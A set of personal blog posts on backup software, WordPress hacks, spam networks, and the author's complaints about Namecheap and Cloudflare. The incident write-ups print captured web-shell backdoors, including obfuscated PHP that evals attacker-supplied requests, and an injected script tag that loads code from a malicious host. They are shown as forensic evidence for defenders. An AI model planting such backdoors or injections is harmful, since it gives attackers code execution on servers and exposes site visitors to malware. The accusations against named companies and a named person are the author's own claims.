Call to the Lazyweb: Backup

I have a problem I’ve been beating my head against for a while now, and I’ve finally given up and decided to put this out there to the hive-mind of the Internet.

I have a laptop I want to keep regularly backed up. I have external hard drives that I use to do this, one that I carry with me and one that stays in my office in Portland. I use cloning software to duplicate the contents of the laptop onto them.

But I also want to do incremental backups, Dropbox-style, to a server I own.

I do have a paid Dropbox account and I do use it. (I also have a paid Microsoft OneDrive account.) But I’d really prefer to keep my files on my own server. What I want is very simple: the file and directory structure on the laptop to be mirrored automatically on my server, like such:

This should not be difficult. There is software that should be able to do this.

What I have tried:

Owncloud. They no longer support Mac OS X. Apparently they ran into problems supporting Unicode filenames and never solved it, so their solution was to drop OS X support.

BitTorrent Sync. This program is laughably bad. It works fine, if you’re only syncing a handful of files. I want to protect about 216,000 files, totaling a bit over 23 GB in size. BT Sync is strictly amateur-hour; it chokes at about 100,000 files and sits there indexing forever. I’ve looked at the BT Sync forums; they’re filled with people who have the same complaint. It’s not ready for prime time.

Crashplan. Crashplan encrypts all files and stores them in a proprietary format; it does not replicate the file and folder structure of the client on the server. I’m using it now but I don’t like that.

rsync. It’s slow and has a lot of problems with hundreds of thousands of files. The server is also on a dynamic IP address, and rsync has no way to resolve the address of the server when it changes.

Time Machine Server. Like CrashPlan, it keeps data in a proprietary format; it doesn’t simply replicate the existing file/folder structure, which is all I want. Like rsync, it has no way to cope with changes to the server’s IP address.

So you tell me, O Internets. What am I missing? What exists out there that will do what I want?

WordPress security issues: this is a bad one, folks

It’s been a bad week for WordPress. If you’re a WordPress user, I highly recommend you check as soon as possible to ensure your site is updated, all your plugins are up to date, and your site is free of unexpected users and malicious combat.

WordPress 4.4.2 was released February 2. This release fixes two known security flaws.

Hot on the heels of this security release come two worrying developments. The first, reported on over at the Wordfence blog, concerns a new WordPress attack platform that makes it easier than ever for criminals to attack WordPress sites. From the article:

The attack platform once fully installed provides an attacker with 43 attack tools they can then download, also from pastebin, with a single click. The functionality these tools provide includes:

  • Complete attack shells that let attackers manage the filesystem, access the database through a well designed SQL client, view system information, mass infect the system, DoS other systems, find and infect all CMS’s, view and manage user accounts both on CMS’s and the local operating system and much more.
  • An FTP brute force attack tool
  • A Facebook brute force attacker
  • A WordPress brute force attack script
  • Tools to scan for config files or sensitive information
  • Tools to download the entire site or parts thereof
  • The ability to scan for other attackers shells
  • Tools targeting specific CMS’s that let you change their configuration to host your own malicious code

The post includes a video of the attack platform in action.

Second, from Ars Technica, is a report of WordPress sites being hacked and made to download ransomware to visitors’ computers.

It’s not currently clear how the sites are being compromised, but it may be via an unknown zero-day security exploit. From the article:

According to a Monday blog post published by website security firm Sucuri, the compromised WordPress sites he observed have been hacked to include encrypted code at the end of all legitimate JavaScript files. The encrypted content is different from site to site…

It’s not yet clear how the WordPress sites are getting infected in the first place. It’s possible that administrators are failing to lock down the login credentials that allow the site content to be changed. It’s also feasible that attackers are exploiting an unknown vulnerability in the CMS, one of the plugins it uses, or the operating system they run on. Once a system is infected, however, the website malware installs a variety of backdoors on the webserver, a feature that’s causing many hacked sites to be repeatedly reinfected.

What can you do to protect your WordPress site? If you’re running WordPress, I strongly, strongly urge you to do the following:

  • Use strong admin passwords! I can not emphasize this enough. Use strong admin passwords! Criminals use automated tools to scan thousands of WordPress sites an hour looking for weak passwords. A normal WordPress install will be scanned dozens to hundreds of times a day. Use strong admin passwords!
  • Update all your sites RELIGIOUSLY. When a WordPres security patch is released, criminals will go to work examining the patch to see what it fixes, then develop automated tools to automatically hack unpatched sites. You may have only 24-48 hours between when a security patch comes out and when people start using tools that will automatically compromise sites that haven’t installed the patch. Turn on automatic updates. Keep on top of your site.
  • Install a tool like WordFence. This free plugin will protect your site by locking out people who use known attack tools or brute-force password guessing attempts. It will notify you by email of hack attempts and updates that need to be installed.
  • Install a tool like WPS Hide Login to move your login page to a hidden location, like /mysecretlogin instead of /wp-login.php. This will go miles toward securing your site.

I highly recommend you install the free Infinite WP tool as well. It’s a plugin plus a Web app that will notify you of updates and allow you to update one or many WordPress sites with just one button click. This is a great way to keep on top of security patches.

Also, absolutely do not assume you’re safe because you’re an obscure little blog that nobody cares about. The criminals will still find you. They use totally automated tools to scan for vulnerable WordPress sites looking for installations to exploit. It doesn’t matter if only you and your mom know about your site–criminals will find it and will exploit it.

Stay safe!

Update on WordPress hack

In this blog post, I talked about a recent WordPress hack attack on two of my WordPress sites that appears to be using a zero-day vulnerability to gain administrator access to WordPress sites.

I became aware of the attack when the security plugin WordFence notified me that someone had logged in to one of my sites using a non-existent administrator user from an IP address in St. Petersburg, Russia. The malicious individual had access to the site for eight minutes, during which he created several new admin users and uploaded a malicious file to the Plugins directory giving him the ability to execute code on the site. He was in the process of attempting to upload a file to the /wp-content/uploads directory, which I terminated when I kicked him out.

About fifteen minutes later, a similar attack took place on a second WordPress site I own. Again, the user created new administrator accounts, installed a plugin that allowed him to execute code on the server, and attempted to upload files, this time to the Themes directory. I cleaned the site and kicked him off. In both cases, I moved the login page to a different URL, hen observed while the same IP address attempted to access the old login URL.

Last night, a third site I own was compromised in the same way. This site is not yet in use, and had no content, so I observed the actions of the user.

The hostile user created new admin users, uploaded the same plugin to the plugins directory, then uploaded additional files to the /wp-content/uploads directory and the /themes directory. I downloaded these files for analysis.

The files were both PHP files, uploaded to the following locations:

/wp-content/themes/twentyfifteen/inc/file.php
/wp-content/uploads/2009/sql.php

Their contents are as follows:

file.php

<?php $sF=”PCT4BA6ODSE_”;$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}[‘n703018’])) {eval($s21(${$s20}[‘n703018’]));}?>

sql.php

<?php $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘qbc8a20’])){eval(${$s20}[‘qbc8a20’]);}?>

Again, these malicious files appear designed to allow the attacker to execute code on compromised servers.

I urge WordPress users to take the mitigating actions I describe in the previous post, linked to above, and to check their systems carefully for the presence of malicious plugins (probably named “research_plugin_” followed by a random string), unauthorized admin users, and files whose contents are anything like what I describe above. These files may be present in one or more places in the WordPress Themes or Uploads directories.

Analysis of a new WordPress attack

I run a number of WordPress sites. Running a WordPress site is an invitation to hack attacks; it’s such a popular platform that it provides an appealing target for hackers. On top of that, I have a somewhat tumultuous relationship with Eastern European organized crime that extends back quite a number of years (I’ve worked with law enforcement on high-profile attacks like this one), so I get a fair amount of attention from folks trying to DDoS, penetrate, or otherwise attack my sites.

The Attack

Last night, a hacker successfully penetrated one of the WordPress sites I own. I use a WordPress plugin called Word Fence that notifies me whenever anyone with administrator access logs in to one of my sites, so I responded and kicked the attacker out within eight minutes. Approximately fifteen minutes later, an attacker from the same IP address logged in to another WordPress site I run. I kicked him out of that site a few minutes later.

WordPress attackers often modify core WordPress files to install back doors, so I downloaded the contents of both sites, then did a nuke-and-pave with a new known-good WordPress install and moved the database to a different location.

I am still analyzing the attack, but there are a number of factors that have raised my suspicion that this may be a novel zero-day attack, not the least of which is the attacker gained access to both sites on the first login attempt without brute-forcing an administrator password (and yes, I use very robust passwords). Furthermore, the attacker logged in to an account named “admin,” and I do not create WordPress administrator accounts with that name–I always use different names for the admin accounts.

I’ve done a first pass forensic analysis of the attack. These are the characteristics I observed in both attacks:

  • The first thing the attacker does is create several new administrator accounts. These accounts have names such as “administrator;” “admin;” “admin” followed by a random two or three digit number (such as “admin52”); and “root.”
  • The attacker then creates new directories in the /plugins directory located in /wp-content. These directories are named “research_plugin_” followed by a random string of letters and numbers, such as “research_plugin_2hAs”.
  • Next, the attacker uploads malicious PHP files into these “research_plugin” directories. The PHP files are named “research_plugin.php”. Their content is located under the cut below.

Click here to see the content of the research_plugin.php file

eAffiliate Marketing Spam: How It Works

A short while ago, I blogged about why I’m moving off Namecheap as my domain registrar. In the past six or seven months, I’ve received a tidal wave of spam advertising domains hosted on Namecheap, and their abuse team has proven to be remarkably incompetent at dealing with the problem.

The flood continues unabated. Diet pills, life insurance quotes, ultra-right-wing conspiracy sites, Home Depot windows…everything and anything you can imagine getting spam for, all of it advertising Namecheap-hosted sites.

I’ve been logging all the spam, and doing a bit of digging. The Namecheap domains are being registered at a fantastic clip, scores a day, each one used in spam runs for perhaps 24 to 48 hours before being rotated to a new one. And, interestingly, the domains are all registered in the clear rather than through a privacy service, so the registrant information is plainly visible.

These domains–scores and scores and scores of them–all have the same information:

whois healthybodynewletter.us
Domain Name: HEALTHYBODYNEWLETTER.US
Domain ID: D49677935-US
Sponsoring Registrar: ENOM, INC.
Sponsoring Registrar IANA ID: 48
Registrar URL (registration services): whois.enom.com
Domain Status: clientTransferProhibited
Variant: HEALTHYBODYNEWLETTER.US
Registrant ID: 377EE235E374635C
Registrant Name: Coloplatinum Hosting Coloplatinum Hosting
Registrant Organization: Coloplatinum Hosting
Registrant Address1: PO Box 96503
Registrant City: Washington
Registrant State/Province: DC
Registrant Postal Code: 20090
Registrant Country: United States

A quick Google search for “Coloplatinum Hosting” turns up this page on Spamhaus. Coloplatinum Hosting is one of many business names used by a well-known and extremely prolific spammer named Mike Boehm.

I kept digging, using programs like wget to visit the Spamvertised domains. The links in the spam emails lead to domains hosted by Namecheap Hosting, which redirect to click-trackers hosted by various affiliate marketing companies, which in turn redirect to the actual spam sites–and there are zillions of them. Mike Boehm is a busy guy, and he will spamvertise anything. Amazon and Walmart gift cards. Laissez Faire Books, a right-wing Libertarian book store. Fundamentalist end-of-days Web sites. Quack “medicine” sites offering to cure diabetes, make you slim, and protect you from heart attacks. Woodworking sites. There is, it seems, just about nothing he won’t spam.

I spent some time mapping out his spam network. It looks something like this:

I’ve received tons of spam from him in the past, using domains hosted all over the place. These days, he has chosen Namecheap as his registrar and host of choice; all the spam I’m receiving from him is currently hosted by Namecheap.

He is using three affiliate advertising tracking companies: Flex Marketing Group, Clickbank, and Clickbooth.

I’ve reached out to all three companies with spam reports. Clickbank has generally been pretty good about shutting down his affiliate codes, but they’re not good at being proactive; in two or three days, he spamvertises more domains with fresh new Clickbank affiliate IDs.

Flex Marketing Group has what is on paper a very tough anti-spam policy. In practice, it’s totally bogus. They have responded to email spam complaints by blocking me on social media, but haven’t done anything else.

Clickbooth appears to be a “listwasher”–a company that assists spammers by removing the email addresses of people who complain about spam. Legitimate companies don’t support spammers. Listwashers support spammers, permit spam, and assist the spammers in removing email addresses of people who are likely to complain about spam:

EDIT: The day after this post went live, I received the following email from Clickbooth:

Dear Franklin,

Thank you for your email. Please be advised that adding email addresses to suppression lists is only one of the actions taken in response to spam complaints. In the case referenced in your recent complaint, additional action was taken and the affiliate account was terminated. If you have additional questions about Clickbooth compliance our full set of guidelines may be found here: http://support.clickbooth.com/support/solutions/folders/146482.

So it appears Clickbooth is indeed proactive about dealing with spammers. Score one for the good guys!

The affiliate marketing companies then redirect to the actual sites, and in the process generate money for the spammer.

The flow of money looks like this:

Namecheap appears to be getting a reputation for supporting spammers. I looked at their Wikipedia entry, and it has this line (and no, I didn’t write it; I don’t even have a Wikipedia account):

It’s not hard to see why. Mike Boehm spends a lot of money on domain registrations, buying them by the dozens. Each one is used in one or two spam runs. Namecheap eventually shuts them down, sometimes, after weeks or months have gone by, but in the meantime he’s registered way more. Based on the number of spam emails I’m receiving, typically 16-22 per day 5 days a week, and the type of registration (.us domains are currently his favorite), Namecheap is making at least $24,000 a year from him. That’s a conservative estimate; I probably don’t personally receive examples of every one of his spam runs.

So it’s no surprise that Namecheap is slow to close his domains, and reluctant to do so. They consistently find all kinds of excuses not to disable all the spam domains he uses. Here are some emails I’ve received from Namecheap, typically a month or so after I file a spam report:

Well, yes, he isn’t sending the spam emails themselves from the spamvertised domains; almost no spammers do that.

Apparently, Namecheap waits for anti-spam services to blacklist a domain before they’ll suspend it…by which time the spammer has long since moved on to advertising the next domain.


This spam system depends on the cooperation of a number of different people and organizations, some of whom are actively or tacitly complicit, others of whom are likely completely ignorant.

Companies like Walmart, T-Mobile, Amazon, Home Depot, and others probably don’t know they’re supporting a spammer. They set up affiliate programs with affiliate network companies they believe to be reputable, and naively don’t pay close attention to how those affiliate programs are run.

Companies like Flex Marketing are more actively complicit. They receive money for every click or every purchase from the affiliate marketers–you get a spam email advertising new windows from Home Depot or offering life insurance quotes from Fidelity Life, click the link, and those companies pay money to Flex Marketing or Clickbooth or Clickbank. Flex Marketing, Clickbooth or Clickbank then pay some of that money to Mike Boehm for the referral.

The affiliate marketing companies–Flex Marketing, Clickbooth and Clickbank–are aware of what’s going on, but take action only after spam is reported (Clickbank) or not at all (Flex Marketing).

Of course, the less reputable sites–the ones selling fake heart attack medications, phony diabetes cures, videos about the coming Apocalypse, books on how the US government is planning to kill all the Christians, gambling sites, and so on–are absolutely aware they’re being advertised by spam, and they don’t care. (The fact that companies like Flex Marketing, Clickbooth and Clickbank accept them as customers is pretty telling.)

So Namecheap hosts spam sites, affiliate marketing companies monetize the clicks on spam emails, some of that money goes to the spammer, and some of that money is retained by the affiliate marketing companies. The money ultimately comes from legitimate businesses such as Home Depot and T-Mobile or fringe sites selling fake medications or online gambling, who get it from people who sign up for their services or buy their products.

I have reached out to the companies who support this particular spammer by email and social networking and invite their comments on this entry.

Namecheap: Why I’m moving away from them

I have a rather extensive collection of Web sites, where I write about everything from photography to transhumanism to sex. As a result, I have rather a lot of domain names, which until recently I’ve registered with Namecheap, as they have in the past been cheap and reasonably reliable.

However, I have begun the painful and expensive process of moving off Namecheap, and I recommend others do the same. There are two interrelated reasons for this, the first having to do with poor support and training (Namecheap employees don’t appear to know the differnce between a domain and a subdomain, which is rather a serious problem when you’re in the business of domains) and the second having to do with support for spam and malware (largely on account of the first).

The story is long and complicated, but it begins many months ago with a spam email advertising life insurance, which was plugging a domain hosted on Namecheap Hosting.

Namecheap, in addition to being a domain registrar (well, technically a reseller for a registrar called Enom), is also a Web hosting company. If you’re a Web hosting company, sooner or later a spammer will host a Web site with you. How you react when you receive abuse reports will determine how popular you are with spammers. If you react quickly, spammers will avoid you. If you allow the site to remain up, spammers will talk, and soon other spammers will flock to you. If you continue to leave spam domains up, pretty soon spammers will start choking out your other customers.

Anyway, it happens. A spammer found Namecheap Hosting. I hadn’t seen much spam on Namecheap before, so I fired off an abuse report and that was the end of it.

Or so I thought. But then things took a turn for the strange.

A couple of days later, I received an email from Namecheap abuse saying “we aren’t hosting this domain, go complain to someone else.” Now, that happens from time to time as well; spammers will sometimes hop from one host to the next, so by the time a host receives a complaint, the spammer’s Web site has been moved and they’re not hosting it any more.

I looked at the domain. Still hosted on Namecheap. I wrote back saying “no, it’s definitely hosted by you guys; here’s the IP address, 162.255.119.254. That address is in your space.”

And got back a second email: “We’re not hosting this site.”

“Huh,” I thought, “that’s strange. Maybe the site is hosted on many IP addresses?” That’s another spam tactic, putting a Web site on a bunch of hosts and then changing the IP address constantly. But no, the site had only ever been hosted by Namecheap.

I replied and said “no, here’s the DNS entry, ere’s the history for the site, you’re definitely hosting it.” And got back yet another reply: “no we’re not.”

And then something even weirder happened.

I started getting tons of spam advertising domains pointing to Namecheap’s IP address space. Tons. Spam advertising life insurance, promoting Bitcoin schemes, advertising phony “cures” for diabetes. Spam pitching window replacement services, Amazon gift cards, Russian dating sites, and home refinancing.

And I’d seen this spam before. It was word-for-word and image-for-image identical to spam from well-known, infamous spam purveyors that had always, until now, advertised sites hosted in Russia, Columbia, and the Ukraine–places that tend to permit spam hosting.

I started getting multiple pieces of this spam a day. Then dozens. All of it advertising domains on Namecheap IP addresses.

  
Left: Old spam advertising a site hosted in Eastern Europe. Right: Recent spam advertising a site on Namecheap.

I sent spam reports to Namecheap…and Namecheap’s abuse team kept sending responses saying “we aren’t hosting these sites.”


This is the point where I learned that Namecheap, a company that sells domain names, does not understand how a domain name works.

A typical domain name has three (or more) parts. The parts are separated by periods. Let’s look at an example:

www.morethantwo.com

Going from right to left: The last part is called a “top level domain,” or “TLD”. It’s things like “.com” or “.net” or a country-specific code like “.ca” (for Canadian sites). The UK uses “.co.uk” for various historical reasons.

The part before the TLD, in this case morethantwo, is the domain name.

The part at the very beginning, in this case www, is a subdomain. The subdomain “www” stands for “World Wide Web” and it’s the most common subdomain by far. But you can make a subdomain be anything you want. You could set up your Web site at “polyamory.morethantwo.com” or “groupsexisawesome.morethantwo.com” or anything else you like.

And here’s the important part:

You can put a subdomain on a completely different server, hosted by a completely different Web host.

For example, morethantwo.com is hosted by Incubus Web hosting. But if I wanted to, I could put “polyamory.morethantwo.com” on Dreamhost and “groupsexisawesome.morethantwo.com” on Softlayer–each subdomain can get its own IP address and its own Web server, if you want.

Now you might not know that, and you can be excused for not knowing that. It’s not necessary to understand how the Internet works in order to use it.

But Namecheap should know that. They sell domain names. This is what they do.

It’s okay if a person who owns a car doesn’t know that a car’s engine has more than one spark plug in it, but no professional mechanic should ever be ignorant of that simple fact. It’s okay if a person who uses the Web, or even a person who owns a Web site, doesn’t know that subdomains can be hosted on one IP address. It’s unforgivable that a domain registrar doesn’t know that.

In this case, the spammer is using domain names that look like

view1.gnrlbshomes.us

“view1” is a subdomain, hosted by Namecheap. The main domain,gnrlbshomes.us, is hosted elsewhere. Namecheap’s abuse team doesn’t know how that works. When they received the spam complaint, they didn’t look at view1.gnrlbshomes.us, they only looked at gnrlbshomes.us.

When I figured out what was happening, a light dawned. I fired off a reply explaining that view1.gnrlbshomes.us and gnrlbshomes.us were hosted at differnt IP addresses, and they were hosting the actual spamvertised URL, view1.gnrlbshomes.us.

Problem solved, right? They simply missed the subdomain, right? Wrong.

Elena, it seems, didn’t talk to Kate. Namecheap has a systemic problem. This isn’t someone not noticing the subdomain, this is someone not knowing how domains work.

And I got a lot of these emails, from all different people: “The domain ‘blah blah blah’ isn’t hosted by Namecheap.”

At this point, I was convinced the problem was incompetence…and a bizarre incompetence, an incompetence on the level of a professional auto mechanic not understanding that an engine has more than one spark plug.

But then, things took a turn for the even weirder.

I patiently replied to each of the emails, showing the IP address of the main domain and the subdomain, and that the subdomain was in fact on Namecheap IP space.

And then I started getting replies like this:

Essentially, what this says is “if you don’t actually send email from a Namecheap server, you’re welcome to spam a domain that lives in Namecheap space and we’re A-OK with that.”

Now, spammers almost never send emails from the same servers their Web sites live on. Usually, spammers send emails from home computers that are infected with viruses without their owner’s consent (a lot of computer viruses are written for profit; the virus authors infect computers with software that allows them to remotely control the computers, then sell lists of infected computers to spammers, who use the infected computers to send spam email.) Sometimes, the spam emails are sent from “bulletproof” spam mail servers in places like the Ukraine. But they almost never come from the same computer that’s hosting a site.

So Web hosting companies want to see a spam with full headers when you report spam, so they can verify that, yep, this is a spam email, and shut down the Web site that’s being spamvertised.

But not Namecheap. Namecheap will knowingly and willingly allow you to spam domains on their servers, provided the spam email doesn’t actually come from the same server.

I asked if their policy was to permit spam that doesn’t originate from the same server as the Web site, I received this reply:

Which to me looks like a “yes.”

At the moment, I am currently receiving 11 spam emails a day advertising domains that resolve to Namecheap IP addresses. There are about half a dozen products being spamvertized; each day’s crop of spam messages are word for word and image for image identical to the previous day’s, but the domains are different. Clearly, the spammers feel they’ve found a good home in Namecheap.

So I took a look at that IP address, 162.255.119.254. It’s quite a mess.

Domains on 162.255.119.254 are all forwarded; that is, 162.255.119.254 is a pass-along to other IP addresses. If you want to put up a Web site and you don’t want anyone to know who’s really hosting it, you can put it there, and visitors will be invisibly passed along to its real home.

Now, can you guess what sort of thing that’s useful for?

If you said “spam and malware!” you’re absolutely right. A Virustotal analysis of 162.255.119.254 shows that it’s being used to spread a lot of bad stuff:

And it’s not just Virustotal. A Google search for 162.255.119.254 shows that it has a reputation as a bad neighborhood in a lot of places. It’s listed as a bad actor in the Cyberwarzone list:

and as a virus distributor in the Herdprotect list:

At this point, I got tired of making screenshots, but basically this Namecheap server has a bad reputation everywhere.

So whether through gross incompetence or active malice, Namecheap is running a server that’s a haven for spammers and malware distribution.

Which is why I’ve begun pulling my domain name registrations from them. I can not in good conscience spend money to support a company that’s such a menace to the Internet, and I spend about $500 a year in registrations.

Now, interestingly, I’m averaging about 11 spam emails a day advertising domains on Namecheap’s IP space, but I’m averaging 20 spam emails a day that are word for word identical to these but aren’t advertising a domain on Namecheap.

The ones that are advertising domains not on Namecheap are advertising domains hosted by a company called Rightside.co, a Web host I’m not familiar with.

As I mentioned before. Namecheap is a reseller for a registrar called Enom. And Rightside.co, well…

The fact that the same spammer is using Namecheap and Rightside, and they’re both front-ends for Enom, is interesting. Stay tuned!

Cloudflare: The New Face of Bulletproof Spam Hosting

…or, why do I get all this spam, and who’s serving it?

Spammers have long had to face a problem. Legitimate Web hosting companies don’t host spam sites. Almost all Web hosts have policies against spam, so spammers have to figure out how to get their sites hosted. After all, if you can’t go to the spammer’s website to buy something, the spammer can’t make money, right?

In the past, spammers have used overseas Web hosting companies, in countries like China or Romania, that are willing to turn a blind eye to spam in exchange for money. A lot of spammers still do this, but it’s becoming less common, as even these countries have become increasingly reluctant to host spam sites.

For a while, many spammers were turning to hacked websites. Someone would set up a WordPress blog or a Joomla site but wouldn’t keep on top of security patches. The spammers would use automated tools capable of scanning hundreds of thousands of sites looking for vulnerabilities and hacking them automatically, then they’d place the spam pages on the hacked site. And a lot of spammers still do this.

But increasingly, spammers are turning to the new big thing in bulletproof spam serving: content delivery networks like Cloudflare.


What is a content delivery network?

Basically, a content delivery network is a bunch of servers that sit between a traditional Web server and you, the Web user.

A ‘normal’ Web server arrangement looks something like this:

When you browse the Web, you connect directly to a Web server over the Internet. The Web server takes the information stored on it and sends it to your computer.

With a content delivery network, it looks more like this:

The CDN, like Cloudflare, has a large number of servers, often spread all over the country (or the globe). These servers make a copy of the information on the Web server. When you visit a website served by a CDN, you do not connect to the Web server. You connect to one of the content delivery network servers, which sends you the copy of the information it made from the Web server.

There are several advantages to doing this:

1. The Web server can handle more traffic. With a conventional Web server, if too many people visit the Web site at the same time, the Web server can’t handle the traffic, and it goes down.

2. The site is protected from hacking and denial-of-service attacks. If someone tries to hack the site or knock it offline, at most they can affect one of the CDN servers. The others keep going.

3. It’s faster. If you are in Los Angeles and the Web server is in New York, the information has to travel many “hops” through the Internet to reach you. If you’re in Los Angeles and the content delivery network has a server in Los Angeles, you’ll connect to it. There are fewer hops for the information to pass through, so it’s delivered more quickly.


Cloudflare and spam

Spammers love Cloudflare for two reasons. First, when a Web server is behind Cloudflare’s network, it is in many ways hidden from view. You can’t tell who’s hosting it just by looking at its IP address, the way you can with a conventional Web server, because the IP address you see is for Cloudflare, not the host.

Second, Cloudflare is fine with spam. They’re happy to provide content delivery services for spam, malware, “phish” sites like phony bank or PayPal sites–basically, whatever you want.

Cloudflare’s Web page says, a little defensively, “CloudFlare is a pass-through network provider that automatically caches content for a limited period in order to improve network performance. CloudFlare is not a hosting provider and does not provide hosting services for any website. We do not have the capability to remove content from the web.” And, technically speaking, that’s true.

Cloudflare doesn’t own the Web server. They don’t control what’s on it and they can’t take it offline. So, from a literal, technical perspective, they’re right when they say they can’t remove content from the web.

They can, however, refuse to provide services for spammers. They can do that, but they don’t.


History

CloudFlare was founded by Matthew Prince, Lee Holloway, and Michelle Zatlyn, three people who had previously worked on Project Honey Pot, which was–ironically–an anti-spam, anti-malware project.

Project Honey Pot allows website owners to track spam and hack attacks against their websites and block malicious traffic. In an interview with Forbes magazine, Michelle Zatlyn said:

“I didn’t know a lot about website security, but Matthew told me about Project Honey Pot and said that 80,000 websites had signed up around the world. And I thought ‘That’s a lot of people.’ They had no budget. You sign up and you get nothing. You just track the bad guys. You don’t get protection from them. And I just didn’t understand why so many people had signed up.”

It was then that Prince suggested creating a service to protect websites and stop spammers. “That’s something I could be proud of,’” Zatlyn says. “And so that’s how it started.”

So Cloudflare, which was founded with the goal of stopping spammers by three anti-spam activists, is now a one-stop, bulletproof supplier for spam and malware services.


The problem

Cloudflare, either intentionally or deliberately, has a broken internal process for dealing with spam and abuse complaints. Spamcop–a large anti-spam website that processes spam emails, tracks the responsible mail and Web hosts and notifies them of the spam–will no longer communicate with Cloudflare, because Cloudflare does not pay attention to email reports of abuse even though it has a dedicated abuse email address (that’s often unworkakble, as Cloudflare has in the past enabled spam filtering on that address, meaning spam complaints get deleted as spam).

Large numbers of organized spam gangs sign up for Cloudflare services. I track all the spam that comes into my mailbox, and I see so much spam that’s served by Cloudflare I keep a special mailbox for it.

Right now, about 15% of all the spam I receive is protected by Cloudflare. Repeated complaints to their abuse team, either to their abuse email addres or on their abuse Web form, generally have no effect. As I’ve documented here, Cloudflare will continue to provide services for spam, malware, and phish sites even long after the Web host that’s responsible for them has taken them down; they kept providing services for the malware domain rolledwil.biz, being used as part of a large-scale malware attack against Android devices, for months after being notified.

One of the spam emails in my Cloudflare inbox dates back to November of 2013. The Spamvertised domain, is.ss47.shsend.com, is still active, nearly a year after Cloudflare was notified of the spam. A PayPal phish I reported to CloudFlare in March of 2014 was finally removed from their content delivery network three months later…after some snarky Twitter messages from Cloudflare’s security team.

(They never did put up the interstitial warning, and continued to serve the PayPal phish page for another month or more.)

Cloudflare also continues to provide services for sites like masszip.com, the Web site that advertises pirated eBooks but actually serves up malware.

In fact, I’ve been corresponding with a US copyright attorney about the masszip.com piracy, and he tells me that Cloudflare claims immunity from US copyright law. They claim that people using the Cloudflare CDN aren’t really their concern; they’re not hosting the illegal content, they’re just making a copy of it and then distributing it, you see. Or, err, something.

I am not sure what happened within Cloudflare to make them so reluctant to terminate their users even in cases of egregious abuse, such as penis-pill spam, piracy, and malware distribution. From everything I can find, it was started by people genuinely dedicated to protecting the Internet from spam and malware, but somehow, somewhere along the way, they dropped the ball.

I wonder if Michelle Zatlyn is still proud.

More Than Two hack

As most of you know, I do computer security as a hobby. (Browse the Computer Security and Computer Viruses tags on this blog to see what I mean.) So it was with a measure of embarrassment I discovered, while at Atlanta Poly Weekend in June, the More Than Two Web site had been hacked.

I first became aware there was a problem when visiting the site on a phone shows this:

I investigated and discovered that malicious code had been added to the bottom of each page, just below the closing body tag. The following code had been injected:

<noindex>
<script src=”http://stat.rolledwil.biz/stat.php?1921853954″>
</script>
</noindex>

I spent the next few hours not going to panels or workshops, but instead looking at logs, talking to my hosting provider, and investigating the source of the attack. Fortunately, an old friend of mine from Atlanta who does computer security professionally happened to be at the convention, and I spent some time talking to him, too.

A malicious file that offered people a back door into the site had been added, and files had been tampered with to inject the hostile code into HTML pages.

I quickly discovered the attack was targeted only at Android browsers, and only certain versions of Android (as near as I can tell, versions equal to or less than 4.0).

The site at stat.rolledwil.biz returned a 404 Not Found whenever I tried to visit it directly. In addition, non-Android mobile browsers and desktop browsers didn’t return the error.

I remove dthe malicious files and the hack, and then set about figuring out what had happened and what its purpose was. What I found was interesting.


The malicious site at stat.rolledwil.biz was served by Cloudflare, the spam and malware sewer that figures prominently in problems I’ve written about here and here. I emailed Cloudflare, and received a terse reply that the actual host was an outfit called Digital Ocean. I emailed them, and they quickly shut down the malware server.

The number that appears after the question mark in the line

<script src=”http://stat.rolledwil.biz/stat.php?1921853954″>

is an encoded version of the IP address of the More Than Two server. Te first thing this script does is check the browser referrer against this encoded IP address. If they aren’t the same, it returns a 404. Basically, it looks to see if the script is being called from a hacked Web site. If it isn’t, then it’s probably a security researcher trying to figure out what the script does, so it sends back a 404.

The next thing it does is look at the browser’s user agent–the thing that tells a Web site what kind of browser you’re using. If it isn’t Android, it also redirects to a 404. The flow looks like this:

So only if the call appears to be coming from an Android browser visiting a hacked Web site does the malicious script get served up. The script produces the alert dialog shown above, and tries to redirect to a URL in Eastern Europe (not functioning at the time I observed this).

The initial attack vector seems to be a variety of the Mayhem worm targeting Web servers. My Web hosting company was apparently vulnerable (the problem has since been fixed), and the exploit was used to drop a malicious PHP file on my server. The PHP file looked like this:

<?php @eval(stripslashes($_REQUEST[ev]));

If you know PHP, you’re probably filled with a sinking feeling of horror and dread looking at that. Basically, it allows a person to execute commands on a Web server from a browser.

From here, the attackers modified the files on the Web server to inject the malicious HTML into Web pages.

The server has been fixed, the CMS I use has been updated, and I’ve taken other steps to ensure against a repeat attack. The attack vector was closed the day after I discovered it, but I haven’t written about the attack prior to this until I had finished analyzing it and had a good understanding of exactly what happened and how it worked.

The fact this attack was as sophisticated as it was and was aimed, not at Windows, but at Android, is interesting.


There’s a postscript to this. The malicious attack site was served up by Cloudflare, the content distribution network with a reckless disregard for security and abuse. I notified the actual Web host, Digital Ocean, about the attack, and they had disabled the site by June 11.

However, a month after being told the site was serving malware and being used as part of a Web attack, and almost a month after the site had been disabled, Cloudflare was still trying to serve its content:

Cloudflare appears indifferent to even the most egregious abuse, and will continue to provide services to abusive Web sites long after they’re notified of the abuse, and even long after the sites’ hosts have shut them down. I’m not quite sure what to make of that, but I’m becoming more and more convinced Cloudflare is a menace to the Internet.

Piracy and More Than Two: Caveat Emptor

This Blog post has been updated; updates are at the end.

Recently, a concerned blog reader sent me an email alerting me to a Web site that claimed to have a free ebook download for More Than Two. He found the link on a YouTube “video” that was basically just a still spam image claiming that the book could be downloaded free, with a Web link in the description. The YouTube page looks like this:

Naturally, I was concerned; I have put a tremendous amount of work into the book. The eBook isn’t slated to be released until September 2; only our Indiegogo backers have a copy of it, so if it’s leaked, it came from one of our backers.

The download site is a place called masszip.com. It claims to have a huge number of “free” ebooks available for download, all of them pirated versions of books that are most definitely not free.

On the masszip.com page for More Than Two, there is a prominent “Download Now” button. Clicking it causes a “Premium Content” popup to appear:

The popup has several links for various online “surveys” and advertising offers. If you click on one of them, you are taken to another site called cleanfiles.net, which then redirects through a number of affiliate-tracking intermediaries to one of the sites offering “free*” (*particioation required) gift cards, surveys, and the other sorts of flim-flam that fill the scummy and less reputable corners of the Internet.

